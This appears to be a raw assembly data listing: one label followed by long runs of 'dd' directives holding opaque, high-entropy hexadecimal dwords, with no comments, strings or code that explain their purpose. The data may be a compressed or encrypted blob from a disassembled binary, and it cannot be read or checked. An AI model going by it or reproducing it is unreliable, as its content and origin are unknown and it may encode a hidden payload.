0AF56906Ah dd 8C1440Ah, 2F495C27h, 0FBF5B53Ah, 685A82ACh, 0A3A276ACh dd 8C56AF46h, 1B0B97E2h, 2E48C2C1h, 0E1A9BE49h, 0E77F8790h dd 6F2F7E95h, 69A9D461h, 0A60BAF5Dh, 61BCA04h, 0AC30F7F6h dd 0E6010C6Eh, 0E9129C56h, 787675E5h, 0ABC40492h, 91AA13F5h dd 72C68324h, 1ECD1275h, 0CC3E1C61h, 7B2CF73Bh, 0D1C3152Fh dd 0FD0AC4Eh, 41366E2h, 37567A72h, 80D4B590h, 0AB7F4BEDh dd 9446B952h, 0D40FE2C8h, 4416278Ah, 924A61D8h, 0DE312B70h dd 205D273h, 0BD38A361h, 0F20580FDh, 257D1785h, 500892Dh dd 317BF8E7h, 0A2DF4B0h, 52B95EE1h, 7B7405Dh, 35700D62h dd 600B03BBh, 19BD54A9h, 1B545847h, 0C8CAA10Bh, 82D6CC82h dd 3C79E0F5h, 0B8514A68h, 27D482D0h, 0E94F4008h, 207AED5Bh dd 9B39CE2Dh, 65A2E68h, 0AA2D5A04h, 5014B9FCh, 888F825Fh dd 0FABB7A58h, 37B26C12h, 93087100h, 5C01C84Dh, 5C2575F3h dd 7725D8E7h, 0D390569Ch, 2909F30Fh, 4FE2903h, 0BBCD4CA9h dd 0E8A11642h, 0EFABEA7h, 4E4DE76Bh, 5E154632h, 0F505D1DEh dd 4B6E8DCEh, 442612BFh, 0A864725Ch, 8FC285B6h, 0B2524ED0h dd 20EF9041h, 0D89F9998h, 8F391ACh, 2E3A4D01h, 0AE01F7C7h dd 58277418h, 0F72EA87Ah, 84DE7CC9h, 98D44CE9h, 4D4B6019h dd 0F59129EEh, 58D574AAh, 4D173CB1h, 0BD6BE3E1h, 8B12D610h dd 0B14B92B2h, 0C859012Dh, 0E763958Eh, 0FFE74A9Ah, 1764E94Eh dd 9DEFD2C0h, 25617B02h, 0C3106E3Ah, 0ED2F07E7h, 0C72B302Ch dd 0CE20B7A4h, 0AA35DCE8h, 9E274B5h, 0E0300851h, 7BE14299h dd 7A651BCh, 3F82C483h, 99BE2904h, 0BCA52ECDh, 92BA0804h dd 0E44159E1h, 6B312EC2h, 983F5A49h, 40F6F1D3h, 0D4273194h dd 57C6EB94h, 84FEC6D3h, 0B6D1EE3Dh, 6A06459Bh, 45B78433h dd 0DC54EAEBh, 0F9880453h, 6FA8EE50h, 695C5827h, 0B5E4BF58h dd 0F3B0339Eh, 0FFA72AE9h, 162CAA4Bh, 5EF52568h, 0B58CA3D1h dd 0CF65B6Ah, 5F12DF4h, 2F00E80Ch, 0F2310DD5h, 5BEAC15Eh dd 0C5CFE804h, 0C3E1F8E9h, 0F1EAD97Bh, 5AA43AD7h, 1A5C1CEBh dd 7A70A7CEh, 7B2C2A2Fh, 0BC29FCEh, 0D1E8403Ch, 913EA0Dh dd 0C4B93158h, 6B628EC9h, 0A5C7EDD7h, 480C80DCh, 15035118h dd 0AA117679h, 1B2DDE4Ch, 1455D842h, 1F4CB746h, 183F40F8h dd 5029A0DCh, 0B05908EEh, 84055BF0h, 858EC1CBh, 0CB2D2A1Eh dd 5E74A33Ah, 977025FCh, 0A5F61DFDh, 57AA15Eh, 0AED29AFBh dd 7178D505h, 0E8978490h, 5E9CE9D3h, 859BF2E7h, 0CF2018D5h dd 5A5BFEDEh, 41371E8Ah, 1479FDC2h, 0FC457020h, 2DCE391Fh dd 0D1CF2DAh, 14041C08h, 2D5B9C7h, 53B194C1h, 0D66AA23Ah dd 0C56CF706h, 19F30B8Dh, 0F0024E29h, 5D05BC79h, 571008C1h dd 5C4CF7Fh, 33E7F14h, 4EF7B0BEh, 0D7FF6F27h, 80805A6Ch dd 152C18CAh, 99059B50h, 0ECF87A61h, 34552300h, 0E9D7F757h dd 8C05D44Bh, 25B8CC88h, 0DA2F523Bh, 343BF644h, 4D0698DFh dd 12CCB8C5h, 0B835296Dh, 0A37726EAh, 0DD4CF5A5h, 0F90F9A2Dh dd 1A9B8183h, 0F8487572h, 1DD4DFF5h, 0F8A751F4h, 144AA550h dd 0CB0601F9h, 0D84E5679h, 5F15F305h, 43827F8Fh, 1BF5C5Bh dd 256021ECh, 2211EDE9h, 0EDCD6FBh, 83E79757h, 0F62B9D09h dd 0CEB860D3h, 130A8023h, 0D7F47BE9h, 6862C181h, 0C8E011Eh dd 3DA5114Bh, 5E6BB55h, 0F1E7E985h, 3EB026Ch, 0F17743CAh dd 9DD0C948h, 7533F95Eh, 0C0BEC853h, 27F8B5E3h, 0DBF62C19h dd 826FB90Ah, 8CD93E49h, 0A24F7ABCh, 5EDFD2E2h, 0BE1A30D6h dd 60252723h, 0FEBF206h, 0E27A1BC6h, 55A96842h, 0DA5D2890h dd 8328E795h, 0D8281B2Ch, 58C849C7h, 12BD2E58h, 0A45084DDh dd 68E2D100h, 18B74C98h, 81037325h, 0B753F804h, 0E7804213h dd 0F68527BCh, 5E758C4Fh dd 420CE8F9h, 0C15C209Dh, 17D4C493h, 0A9CA0198h, 0E5A8643h dd 67609F7Ah, 1D2F7B65h, 61152E7Eh, 0F1F23ACh, 6FAF230h dd 899A12ADh, 0DCE730F5h, 0E7FDC55h, 419CD73h, 161858D0h dd 42B9E20h, 0B213612Dh, 9810BB69h, 2EFC5B07h, 874FD204h dd 0A9C9EB5Eh, 521F827Fh, 16980261h, 0EA6807E8h, 0C234757Ch dd 0C75A110Eh, 0CE74DB0Ch, 101B8025h, 9097057h, 57C3AC56h dd 3975CF42h, 0D5CEC294h, 0D141E63Ah, 0C180001Dh, 5EAAF082h dd 5F25FBF4h, 920A882h, 5AFB2200h, 0CC135A7h, 26E434ADh dd 0B8014A26h, 25990D8Dh, 20BD7F01h, 6430B460h, 0E9277BB6h dd 25457AD9h, 0C446424Fh, 9934C020h, 2F8ADA0h, 0C282357Fh dd 1ED8571Dh, 5C6A0C9Fh, 54B709C7h, 0D7E9B6C8h, 2105E20Fh dd 0E28B00E8h, 0ED05D1FAh, 0A0AA7ECDh, 816C60B1h, 0C06C4981h dd 0F18E60C7h, 2B622A94h, 0C79ADF3Ch, 25168C02h, 0D5BEC625h dd 2E1E14CDh, 5BDA1C28h, 50CFC28Eh, 0F6B06040h, 0B448D776h dd 0EDD530CEh, 761FBAh, 61BE3F0Eh, 1DC4EA3h, 2F20EEBAh dd 0E0D11E23h, 522E0857h, 0F2AF5D64h, 6F58557h, 0A89282BCh dd 3E84B56Eh, 0A84A3DF8h, 0E770B4B0h, 585525CDh, 204292Ah dd 0EB56FEE9h, 0A598C8Ah, 0D3A5B896h, 54A3FB04h, 0B67CE902h dd 9A302151h, 98DB7129h, 8FCD041Ch, 8354CB43h, 13F39C16h dd 1055BC95h, 0EB4A1967h, 82336028h, 0FB21D004h, 2D694644h dd 63B0FA12h, 0DAECFBC7h, 0CDFE9DBAh, 40610D67h, 566048D3h dd 4BD42568h, 7D020966h, 0E940552Ch, 2DE65EFBh, 8F266AF0h dd 1643DCE6h, 800D4E15h, 72E568BAh, 2201CAB3h, 2558AF2Bh dd 75F270F8h, 63E40B71h, 44FC0DD8h, 40DF5E06h, 6D20B0Ch dd 8C770869h, 0C46658EBh, 0A5D4B472h, 0A3E82B6Ch, 0BBFA8B35h dd 0FB1600F2h, 0CC2DAA57h, 0E512C46Fh, 9BA20052h, 3260E40Eh dd 9462850Ch, 0EA013F35h, 4108A372h, 4B20140Ch, 927D97BFh dd 5E46843Ch, 876B9DB3h, 7D8D83FCh, 162A1CA0h, 282CFF8Fh dd 0BFC9C66h, 0BFD8635h, 4547566Fh, 0F261FF02h, 257A7BFBh dd 0CCDA8445h, 0B89E13D0h, 8236A360h, 835F167Bh, 0C2C81CEFh dd 7826E711h, 13887A5Dh, 0FB0CCD68h, 4AC4B661h, 0A5291C9Dh dd 0D9C5BF56h, 5602B6CEh, 21531839h, 2D555Eh, 5AD50800h dd 0E7E54C80h, 89ACB01Fh, 9CD5383Ah, 945C6734h, 46750B2Bh dd 5A32F6FAh, 0FC769133h, 0F0712016h, 12E8C180h, 0BBC8310Ah dd 0E4AE1034h, 155C3981h, 3F98D678h, 762BE3A5h, 0C7E50D8h dd 0D889CA6Bh, 924B121Dh, 8C77F446h, 0F239A960h, 48091820h dd 5301103Bh, 0E9224B6Ah, 384D3545h, 0C62D7808h, 5C1E842h dd 2F1C055Eh, 0C0BF577Dh, 4F4ACA93h, 810247E2h, 445884E7h dd 0B3D6800Ah, 0A9E4092h, 6E9F801h, 0C8D1AF9Dh, 2568076Ch dd 81E60DC7h, 5A81E874h, 95ADAA4h, 0E69A3359h, 5808B8F9h dd 1268040Ah, 613AB65Bh, 0C469B7AAh, 4905BE41h, 0BE96EF04h dd 39C0B708h, 3A01686Fh, 0C2B0051Fh, 5B28EBB3h, 0CD0B044Ch dd 0A00E484h, 8E15A6C5h, 78293225h, 5E0880CCh, 7AFF31E9h dd 0CAEE885Eh, 7DCB035Ch, 8A138865h, 4488DB81h, 0E975382Fh dd 0C009EA2Ah, 575BD90Ah, 0AC8C0E68h, 0EEFBCF45h, 0EB56FA0h dd 9E8FBE76h, 0AA11A315h, 0C586F35Eh, 0FA055E9h, 80BF0CB2h dd 0E30602CAh, 244420B8h, 0BCFA9DC3h, 0AB4B37F6h, 9F763FA4h dd 535F7309h, 0C14ABB85h, 20D1F6BBh, 1BB521EFh, 464C9258h dd 49A09D76h, 55405A2Dh, 0E393E910h, 4C990504h, 0BDE8C013h dd 4813674Dh, 0E01E453Eh, 9CEBB62h, 0F7300BB3h, 0DA00303Eh dd 3A47255Dh, 5BE92EB2h, 0BF910079h, 603D0C02h, 0FCCF8102h dd 0E04DB61Ch, 27E3064Ch, 9CD99240h, 5210FDA6h, 9172D75h dd 95C8B6A2h, 0F8DFF8C2h, 199FB07Eh, 937A0868h, 5E9F922Ch dd 0EE5E57B8h, 6033A32Ch, 3EC15343h, 6B489222h, 16C50666h dd 4961FDCh, 17695331h, 1798B801h, 74EB3ACAh, 8764FF6Bh dd 0C483B2ABh, 5E016FE2h, 0C22B4B68h, 53FFF1F7h, 4BC2CA4Dh dd 0E49387AEh, 0EC44171Eh, 53CA766Eh, 4C546809h, 10BE573h dd 0D1C41016h, 68558080h, 519561E0h, 0EA294903h, 80131475h dd 252A60BEh, 33522FE6h, 0F3E90880h, 680E50BEh, 98C56E3h dd 0FF256B55h, 74B5C550h, 30F9525Ch, 0A5C25969h, 11622AD4h dd 49E0808h, 0B37EDB68h, 22B41886h, 5B3BD1Eh, 31E03A4Ch dd 556A22EBh, 0F0455B4Ah, 0FC06EF8Ah, 7EE9E400h, 0DEF821FEh dd 0B4960B9Bh, 5282397Fh, 2910917Bh, 12FF05DCh, 1D90EFB8h dd 95030267h, 78C26A7Eh, 3C1D595Fh, 89CE8A2Ch, 1EE2305Bh dd 0C22C24C1h, 0EA3271FFh, 1C92100Fh, 93CF92Dh, 0F3C22902h dd 1B8D09BFh, 1188A87Ch, 685F04C5h, 437CBC9Eh, 42C592C3h dd 0DD35A782h, 0F70B31D1h, 0E0965F14h, 0F1EDD126h, 7B3BF903h dd 0FFB359h, 3548587Eh, 77947D9Ah, 43579731h, 123EB0E9h dd 0A677AA4Ah, 351407E4h, 162B9701h, 4F50157h, 0EFE90816h dd 68D5C79Fh, 0E8B01B75h, 600B3909h, 61F8E97Fh, 6DA66491h dd 88930873h, 0AC18007h, 5A99CB8Fh, 826379B7h, 56B567Ch dd 71EEC207h, 3BCF26h, 0C381F901h, 275F0856h, 1B5CC6EFh dd 0CBACCA4Ah, 0A1130758h, 217F0147h, 7574E9D7h, 6AAD483h dd 810EF69Dh, 517F8AC7h, 839DF413h, 0C5BE1ACFh, 0B200BA6Ah dd 73753590h, 0E2F05E01h, 70583BD2h, 16C0D749h, 0F4632347h dd 2D119E93h, 0E2405BDDh, 3AE205ABh, 85A6A98h, 4FFF7641h dd 0ED3A339Bh, 655689C5h, 186625A0h, 0F26A9CB4h, 0DE870100h dd 16CFF681h, 120CB15h, 69591FF3h, 0D9E47F29h, 0FF8A25AEh dd 2753E5DFh, 1B4EC877h, 49D49106h, 657C6302h, 47814B05h dd 52DC689Ah, 4DE66F7h, 0C038704Eh, 21EBD047h, 0C6B8795Ah dd 0D1F55C89h, 0C65DCB5Dh, 5DD20D3h, 95E5C07h, 2FA31C6Fh dd 2D1576A7h, 60D905CDh, 42A5C3A6h, 8FE25DF9h, 7BF09F40h dd 124A1B24h, 4B524687h, 6235C960h, 0BC21507Fh, 1B727722h dd 9C3AE971h, 9C7F598Ah, 0D3E925E1h, 10687E00h, 6F5A3A38h dd 7625EEDh, 66D056E9h, 4385BD09h, 0ED6A807Dh, 49762C5Ah dd 277CA658h, 0CB800160h, 0E967C136h, 2195BE24h, 0C846AF80h dd 92555D30h, 0B850EAE6h, 76587D8Eh, 2087B0B3h, 3506A543h dd 95C3C7E7h, 49CE3168h, 0A0C529AAh, 52A0086Ch, 66A41193h dd 0D6D93726h, 29083382h, 0BB405DF1h, 0C190DDF7h, 3489400h dd 3EE94327h, 32CABD9Ah, 0D4C1B980h, 224AB074h, 5B1C83BCh dd 0CEBAA837h, 7601B83Ah, 38E6E96Bh, 0F9FC4BF3h, 0D5438792h dd 0C510E426h, 4B14B798h, 4FC85586h, 0EA4E70E9h, 580D8CD5h dd 0A26BF17Fh, 31068412h, 44E4BBDh, 10307079h, 570418CAh dd 4C2A77A2h, 41133932h, 712DAFA8h, 78B38D2Ah, 0B7D84AF8h dd 0FFC7BF2Ch, 0B8090524h, 4559F5FFh, 0A4D9D552h, 5C183EC2h dd 0EDB0622Fh, 5FD82102h, 0CFBF5E30h, 0D5561AC9h, 5EBF0978h dd 477DE9BFh, 0D7688554h, 7D9C4B2Fh, 4FB5AF50h, 68560270h dd 55E51850h, 0AA20CBA0h, 0DF9A02Ch, 0F091618h, 0CD40C031h dd 61424D1h, 7F34D3Ch, 53D05F46h, 64F3E5D0h, 2475B54h dd 57905507h, 882AC35Dh, 963E1EE9h, 0FB8797A8h, 6101DECBh dd 68546F2Eh, 0F3F86FD1h, 66300596h, 958EFA46h, 5B868140h dd 0CE178C22h, 80FA2829h, 0E9BB2C63h, 0B746E9D0h, 5CC201E7h dd 1096507h, 14E030DAh dd 9E8A5B9Ch, 0EF9CF338h, 410EF856h, 72499F29h, 0CC73558Eh dd 0FD99923Dh, 6871AA27h, 6450394Ah, 2422D9BAh, 25217CF3h dd 182A0FEh, 0F453E9D1h, 0BBDD2D8Eh, 50F4F214h, 30CD974Bh dd 52D0E08h, 394B050h, 2CD0F68Ah, 5A3BC417h, 0EBE5CCE8h dd 0F348709Eh, 3F83B15Ah, 0F5A716BCh, 8DFB0DAh, 0D559CF27h dd 66D25814h, 0C22046F8h, 72BD5502h, 0C106C574h, 52079A07h dd 1ED702D1h, 0B2520480h, 81C28081h, 2A224003h, 0CB235341h dd 1235AD50h, 37F9F614h, 58A2407Eh, 453F20FBh, 0CE8265Bh dd 74E1E2E7h, 68617B7Ch, 0E785E01h, 114AA0C6h, 0BCC26EEDh dd 2F34D657h, 8E6522DDh, 0BABD680Dh, 3CE00460h, 0EB07EDC1h dd 0D4689C02h, 615EF659h, 0F4CE060Ch, 5F5AFD31h, 1F1301BCh dd 0C533A851h, 72FEF7EDh, 0A4FC5C06h, 60BC3612h, 0A5BAB25Ah dd 5BA22F0Dh, 9E9A1E3Bh, 0BB5095DDh, 0D462EF4Eh, 37595F1Ch dd 0B229DBA7h, 10415ECh, 89C2FCBAh, 0C27FD631h, 8000064Ch dd 0FF68CCEh, 8E6C0D6h, 0B570C607h, 0FD1C82EEh, 0EDF1376Bh dd 189AFB05h, 0BED5FA84h, 30BA3280h, 0EAF083CAh, 38E7C01Eh dd 984C3CF0h, 0DE1819E2h, 9BB33E53h, 0BA79CB17h, 0EC9F735Dh dd 0C86F3CEh, 416ABADAh, 0DF1860F6h, 0AFA4B1Dh, 68BE07BEh dd 0D45440C7h, 215D25D0h, 0BF8E94F2h, 0AF179296h, 64FB7565h dd 0E9AC0215h, 7157F9CEh, 87AD160Dh, 52B1D289h, 8562D2ABh dd 51A67F76h, 0A7B0DC2Dh, 5C77856Ah, 186881F2h, 3055793Fh dd 25ADCCDh, 0B902D08Eh, 45F14401h, 3EC195C1h, 0E85F238Ah dd 49EA0491h, 0D2C079DFh, 642B1F26h, 8F69B63Fh, 2944DC0h dd 0E935EB80h, 8BB47CDBh, 71785EF1h, 215F5B01h, 348B1C77h dd 0A2FAB37Ah, 9F595894h, 894E9014h, 0AD1329BFh, 7F9AD859h dd 0F7351330h, 1200FDDEh, 2DEF2A50h, 0FBA93035h, 5BFD05BDh dd 91EA8117h, 0A8117D6Dh, 38F0EBCFh, 0F134099Fh, 78F0E9DCh dd 0DA9E5F9Dh, 0FC9B6B27h, 65F7E9C4h, 42996AB7h, 1D5A1AEFh dd 63097FE0h, 7FFB8927h, 0A42DA548h, 30E22816h, 7056FC4h dd 0E4091889h, 266D71EDh, 51E03A9h, 58B22340h, 6A9C3061h dd 32830390h, 6B137B5Ah, 19FD8FC8h, 0A83BC3ECh, 830B5F20h dd 5F222BD3h, 2E99CB1Eh, 87E95360h, 0A81BB63h, 69FA8D37h dd 0C220096Ch, 0D15B4EF1h, 3CD9290h, 0B048BD30h, 2858070Fh dd 923184F0h, 0AFF65A5Bh, 0FD0D94C2h, 6E6C6119h, 54047EA3h dd 0AE47DEE9h, 4AF316C8h, 1FB88C27h, 688BA261h, 0A189757Eh dd 9A570B9Fh, 74965522h, 507F5920h, 924E153h, 5047F21Ah dd 91103604h, 315B3322h, 72EE915h, 0B5C0C695h, 7DA71942h dd 9C04EA66h, 0A8FD4977h, 0BD4FD8CFh, 0FDA65032h, 0C501AC52h dd 0FEE1C8C4h, 75FCEA01h, 8DABB42Bh, 0F0FB6602h, 5F975D58h dd 13146B39h, 3BFEF30Eh, 8C9EF378h, 0B2DE3CD0h, 8E2CC5ABh dd 51A068AAh, 0D6D48B4h, 4BEF2Ah, 0D600D5ACh, 11C18022h dd 761F885Ch, 748AC725h, 662C0EDEh, 0D80BDC4Eh, 5C434677h dd 5F38047Dh, 393CC15Bh, 0EEC80693h, 972D7025h, 61514E56h dd 7B1F164h, 0B7E180B2h, 0F608B1C0h, 0DEF1E0D9h, 0AD2D1EAh dd 0B70BC317h, 0EF2703B7h, 0AF06205Bh, 28A33F62h, 63AEE2D8h dd 82B69A51h, 0A6B386F1h, 204D2C9h, 6DFF281h, 21E17ACCh dd 0AA9C3E95h, 94AC50h, 18068CBBh, 53CB8119h, 35AE030Bh dd 62100043h, 2512D926h, 5BC211E9h, 38820761h, 0E5502F97h dd 0DAF1CB3Ch, 0A254F62h, 60D603F9h, 0D9F207DAh, 81738961h dd 3416C21Bh, 0C836E09h, 27931FEh, 3DB1E007h, 0D49978BFh dd 0CDE30160h, 0FC706F45h, 2428FAEBh, 0D07EC073h, 0B946F3B5h dd 812E6A6h, 0A4202B65h, 1F84157h, 0E91CB1E3h, 24AF36A3h dd 0EDBDF083h, 0DDF19B02h, 564BBCC0h, 50630FDh, 19173A72h dd 42AC2D31h, 4D71A885h, 3004DACFh, 55829A66h, 9D586987h dd 8BA21463h, 282D0051h, 0E9376235h, 259D5FF0h, 1041AA71h dd 22D17211h, 126D743Fh, 0EC83210Ch, 2E6DBBFCh, 5A93E346h dd 4902338Ah, 2A30E952h, 688991F3h, 0E95260C5h, 250F951Ah dd 45D7E7BFh, 8176CBE0h, 70D0C42h, 0ABF16B83h, 5D42681Ch dd 0FD5E57A4h, 3CA8AB80h, 55626FA7h, 0C41F9094h, 670D20AFh dd 23E5967h, 0F707E132h, 6D8BE980h, 36F848BCh, 0C039B94Ah dd 619ACA3Fh, 5BD83007h, 4424913Bh, 0C3412F85h, 6BE471CDh dd 0A2FEB46Fh, 880E0D9Eh, 5116FFD4h, 81E5FFF8h, 0AFBABD3Bh dd 771860AFh, 0C1254F05h, 6A9570F7h, 59CCCFB2h, 879A5BF2h dd 0E31204Bh, 0FF20D4B2h, 0B7C74007h, 0C1B8D74Eh, 8485AD4Fh dd 95BC7F23h, 0BFC24EC9h, 0E927B4E6h, 0BD048014h, 4B8A4795h dd 20B7F865h, 0DAB80077h, 5170F4Fh, 0F024B02Ah, 2E02B4E8h dd 5F471F14h, 28085BA8h, 1D715A6Ah, 0FCA67CEBh, 92BB00EFh dd 0B93BB16Fh, 0F95B27h, 1435C143h, 0A54E5BACh, 54080705h dd 0B585FBC0h, 762F96B6h, 25C9B42h, 566F5EA7h, 1314719Dh dd 4F27F8B5h, 0AC4AEF8Fh, 261B4139h, 8CA04B94h, 0CA315C18h dd 343C50CCh, 3A62712h, 0E91E02BFh, 6EDF1B96h, 0D8313042h dd 0F39F779h, 0C11F7B2Dh, 4ADC62DFh, 231ACE47h, 7E81980Bh dd 0DAD1E9FDh, 0B34D30Bh, 7E6B875Fh, 0F503FDEFh, 6D533AFAh dd 2D757A08h, 2CF31180h, 45976AF5h, 1FF68065h, 0BEBD1D65h dd 558F9318h, 0F07752D2h, 0BAE91773h, 95A997C2h, 0FE3D5DFh dd 0F853623Dh, 2670C4CCh, 0A20C9344h, 5549DF8Ah, 50F1FEC5h dd 0A18394BBh, 78C037D7h, 0EB4B4C43h, 6C35C806h, 3A090C4Ch dd 180F69h, 0AD0E2D3Dh, 64F0B508h, 0A2385B02h, 7FD2FAE9h dd 54B7154Eh, 9C28A405h, 45590A61h, 0F2318AF4h, 0FA3D0B14h dd 0DBB402C6h, 5AEFF627h, 1252B37Dh, 9017A5C5h, 0A273CD61h dd 0DB68AD09h, 0FBF1A49h, 29068CCDh, 518E09C6h, 6B634E25h dd 0B0DDF4B7h, 7EB9B8B4h, 0DE95E889h, 4DD5C224h, 8578C0E4h dd 0E0A73627h, 0A0F3895Dh, 80732E68h, 254A7468h, 0FC5523C8h dd 7809BD2Bh, 9DFA36DFh, 6F0889FBh, 0F9090EF4h, 6758DCE9h dd 54A474B7h, 682D38BDh, 33644E7Bh, 0E9ABD569h, 7AD01C8Ah dd 2FBA539Fh, 139214FFh, 263A75E9h, 49A0A89Ah, 0FE8A9955h dd 46B3C256h, 0FC2F3879h, 0F48729Ch, 5698FBC3h, 0F536C1B7h dd 0AA14122Bh, 0E9092F9Eh, 92FF44D8h, 3CFBDE11h, 3E3EA1CEh dd 0BF4A349Fh, 0EF3B5F8Dh, 0F0E20D2Dh, 0B5BA4F58h, 9CB96AEFh dd 0B44F8CD4h, 0E32DE904h, 49D5F1D4h, 42024F02h, 617F65Ah dd 2EA0C47Eh, 39651844h, 1CBA0C76h, 1240278h, 0D7125BFEh dd 605A8C0h, 718240Ah, 44CF02ECh, 2553060h, 0FE327528h dd 9BF1737Bh, 104C670Dh, 327E75DAh, 0C2AB7803h, 8023EAD7h dd 5734F6D5h, 0BC9F835h, 2FB7619Bh, 7225BD80h, 82C032D5h dd 1EC06403h, 0A5B62FE9h, 2D56F9DEh, 4B684836h, 43714901h dd 0C55B0BB0h, 0C05A1A8Ah, 21666860h, 5AAD7AE1h, 8ACE8B8Ah dd 334038Ch, 406E75D6h, 2F18B47Eh, 0E3186B11h, 954C7879h dd 7D22C260h, 850E4983h, 1491CAC4h, 0ADEA1DD2h, 0C8B8DABBh dd 0A3E27ABDh, 6BEE688Fh, 0E98FFA12h, 0BD096C4Dh, 0A6294510h dd 332065D0h, 8E56B7E4h, 4B7DD62Dh, 0DE2B375h, 0C6DBE949h dd 874B4130h, 6E30E5DAh, 0CEEEE017h, 57E91206h, 0F668E6C0h dd 0ADF39565h, 0FDFDAF89h, 759DF294h, 0F7F1F4B0h, 780F3DEFh dd 64297B2Dh, 295C5EB6h dd 88E17FC4h, 0EA5C642Eh, 0E98517B8h, 9D3B9EDh, 5F59CAh dd 8C63B809h, 330CC242h, 7B430B66h, 3EAE5E7h, 75BB5308h dd 0E967ABE8h, 693B38EFh, 97735564h, 1E122D8Dh, 870A282Ah dd 1F49C4Ah, 0D442167Ch, 5DD5C49Bh, 0E9DE82CEh, 955E28E0h dd 95376843h, 7DD2AAF2h, 29A7113Eh, 0F1F1DA57h, 0A9F8AFB4h dd 0EDE2E9B0h, 7EA5995h, 3941B9C5h, 0F00B73F0h, 0B33E203h dd 9D775087h, 524ED86Ch, 4077C9CCh, 6B122D73h, 81EBA540h dd 2E7BA464h, 9D12D4CAh, 71D9A3C7h, 1C60A2E0h, 915C278h dd 1EA2B852h, 0C440B8C7h, 82FE3111h, 0F356D4CFh, 693F6188h dd 884CBC57h, 5F74E991h, 2F9AE336h, 19ADFCB5h, 3E0652h dd 13CDFEAEh, 0EC5E16E9h, 84EFD66Eh, 5F080041h, 11E3F75h dd 9044E28Bh, 9C9EE90Ch, 0ACF8274Ah, 0AAEAF29Ah, 0BEB2651Bh dd 9921F8A6h, 0FDF8B00Fh, 57088BCAh, 0BF041396h, 4C764E95h dd 0BB02DC2h, 5FFB6838h, 0E9615896h, 2C372AC2h, 165D0C27h dd 0B6D9BDD7h, 5948F569h, 0D72C372Bh, 81008625h, 36130EE1h dd 0C4E19843h, 0AE422030h, 78F88FC5h, 456855F1h, 9E0044E4h dd 0E1F7056Ah, 0BB4882h, 58E6305Bh, 5AEE803Bh, 40C48D2Ch dd 0D077597Ah, 9081804Bh, 0B7A60569h, 0B4B29750h, 2609EA7Dh dd 7A69DA45h, 1A2028F7h, 91CC0D2h, 0E945AD3Fh, 0D51DB826h dd 7D9CEB42h, 0B261029Ah, 3FB92BFCh, 4C8FE02h, 0E577081Eh dd 0FF688937h, 0B36B987Fh, 41E913B8h, 12CB904h, 2E20318Eh dd 903BDBF7h, 0F179DA22h, 0BFA13E4Eh, 0ABF40E6Ch, 160EE6B4h dd 889BA0E9h, 0BBF7E5Bh, 66CE7702h, 0E918F3F2h, 0B82041A6h dd 82600CAh, 797B0D33h, 48282251h, 3825A8F7h, 0E3DCD183h dd 1C5A6678h, 8F808F84h, 58BF5A92h, 225884Eh, 72882AFCh dd 4281222h, 9A149FFh, 8D77004Eh, 95820BDFh, 0E9048751h dd 40EABE28h, 7C41AB3Ah, 77972909h, 89593002h, 55902D7h dd 64A0D6A8h, 4E1DE8F5h, 0F91676A2h, 6F4BC9FCh, 0BDBD1D52h dd 0BD15A985h, 0C38116CAh, 0EAAE84EFh, 0EB5FB78Fh, 2C57F42Ch dd 804E7AE9h, 0CD4256B9h, 80903117h, 7BC161FDh, 0B5317D53h dd 0C52E6AE9h, 0CF39FE55h, 0FBF5792Ch, 0E9A0E5F2h, 20B580E3h dd 0DD6EB3Fh, 0C1FB4DB5h, 3A60417Ah, 454CE647h, 61C6FF09h dd 8458E1F6h, 8CC4D871h, 0F5BE5014h, 6E1113B6h, 2670C118h dd 0A882B98h, 4A257392h, 8BF17Bh, 3D15E907h, 51DDE49Dh dd 846AE150h, 0C990FDE1h, 25AD764Fh, 0A49D66C6h, 0C805F49h dd 1DC8267Ah, 7891E97Ch, 1E39FF5Fh, 13A2C31h, 2968539Ah dd 508D3A46h, 312C61CAh, 0EC08B3F8h, 41C79E3h, 3EE97DEBh dd 0DB04078Ch, 0A72CD003h, 5D21F6B2h, 261ADE18h, 0D02D72BAh dd 0E988DE46h, 4DEE6690h, 146FB72Ch, 8F6BC840h, 74292315h dd 5E4A0C20h, 481C5410h, 1F478463h, 0EBC83104h, 801355F3h dd 0F572BA6Ch, 858BDB58h, 0F4F9F2E9h, 7D97580Eh, 7BDE1119h dd 0E9E337ECh, 985527B2h, 0C8452EC8h, 5D09C111h, 0CF372842h dd 67B310Fh, 266213Bh, 172BF681h, 1DC04419h, 783F33A0h dd 0FCEAC72h, 221CEE05h, 8BFED0C4h, 6CA30125h, 0F72974FAh dd 0A811296Bh, 13813316h, 183D3E5Eh, 0DF3CB22Fh, 5809E6D0h dd 0A0844B43h, 2D5A0073h, 4B369F50h, 5A07F88Fh, 0B5466BE0h dd 0BAB0F2D9h, 3B8759F5h, 5178291Bh, 0EF4208C6h, 971A701Ah dd 7BC3F6h, 3B02B886h, 0C6E948A2h, 21BE2E4Fh, 0E566BB77h dd 3F59F542h, 0A2AF52C4h, 61BAD78Bh, 3ABF133h, 58C3C85Bh dd 0BCD95A89h, 0A0C2F44Eh, 0CE010358h, 54E7DE05h, 40C74907h dd 5D96BEF2h, 1DFC5420h, 1BB7282Ch, 639ED9E5h, 53AD858h dd 875CC32Dh, 6357E8FEh, 0BBD6F70Ah, 0CE81B8EEh, 1E491214h dd 120D004Ch, 2944CC71h, 6B667C9Fh, 6858C8D5h, 0F8164BAFh dd 0B32FB98Eh, 5788540h, 345DB960h, 0F71212ADh, 12BACD8h dd 51EDBA52h, 0B12A25D9h, 1ECCD09Ah, 4F0094Bh, 97061986h dd 0E9E52865h, 0E1127017h, 2F68C340h, 50C77095h, 22048111h dd 0A5205B34h, 48764B0Eh, 70A80E51h, 825B2B17h, 0A60CB3Ch dd 58BE0927h, 7E23DB3h, 0F5EB25Dh, 0C2306FF7h, 0DCFEF156h dd 52F40198h, 71293AE0h, 880FAD4h, 2E15685Ah, 9AC618B5h dd 5C2C244Eh, 6C96003Eh, 0D931986Dh, 97F996B5h, 8ABDBF4h dd 3F812B35h, 403E35A0h, 19E80529h, 2D0573C9h, 631C094Eh dd 3618AB00h, 2DC1693Fh, 5F9406E7h, 73BFF990h, 0EF81006Fh dd 40671EA8h, 540F9B0h, 0C7DE48F7h, 0C9C4D904h, 0E9268CC6h dd 83B1864Fh, 3DA4CB2Ah, 192CAF68h, 0FC2FE99Fh, 0E8BBC0AEh dd 499202h, 4E63E381h, 0BE56018Eh, 0E1155F09h, 36FB226Ah dd 31D7EEBh, 6340547Ch, 1FE8EAE3h, 95422Fh, 28F9E2DBh dd 1C6E607Bh, 2B4DFE90h, 0E9D62109h, 2DC0765Ch, 170830CDh 